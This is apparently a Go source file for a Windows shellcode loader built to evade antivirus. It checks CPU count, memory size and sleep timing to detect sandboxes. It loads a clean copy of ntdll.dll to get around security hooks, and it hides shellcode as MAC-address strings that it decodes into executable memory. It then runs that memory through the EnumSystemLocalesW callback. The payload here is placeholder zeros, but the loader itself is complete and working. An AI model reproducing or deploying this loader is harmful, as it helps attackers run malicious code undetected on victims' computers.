1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
| package main
import (
"fmt"
"io/ioutil"
"log"
"os"
"runtime"
"syscall"
"time"
"unsafe"
"github.com/Binject/universal"
"golang.org/x/sys/windows"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32")
Activeds = windows.NewLazySystemDLL("Activeds.dll")
HeapCreate = kernel32.NewProc("HeapCreate")
HeapAlloc = kernel32.NewProc("HeapAlloc")
AllocADsMem = Activeds.NewProc("AllocADsMem")
VirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)
var shell_mac []string = []string{
"00-00-00-00-00-00",
"00-00-00-00-00-00",
}
func numverofCPU() (int, error) {
num_of_cpu := runtime.NumCPU()
if num_of_cpu < 4 {
return 0, nil
} else {
return 1, nil
}
}
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
return 1, nil
} else {
return 0, nil
}
}
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
return 0, nil
}
return 1, nil
}
func main() {
var ntdll_image []byte
var err error
num, _ := numverofCPU()
mem, _ := physicalMemory()
if num == 0 || mem == 0 {
fmt.Printf("Hello Crispr")
os.Exit(1)
}
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
ntdll_loader, err := universal.NewLoader()
if err != nil {
log.Fatal(err)
}
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)
if err != nil {
log.Fatal(fmt.Sprintf("there was an error calling the LoadLibrary function:\r\n%s", err))
}
addr, _, err := AllocADsMem.Call(uintptr(len(shell_mac) * 6))
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr := addr
for _, mac := range shell_mac {
u := append([]byte(mac), 0)
_, err = ntdll_library.Call("RtlEthernetStringToAddressA", uintptr(unsafe.Pointer(&u[0])), uintptr(unsafe.Pointer(&u[0])), addrptr)
if err != nil && err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr += 6
}
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(windows.CurrentProcess()), addr, uintptr(len(shell_mac)*6), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
EnumSystemLocalesW.Call(addr, 0)
}
|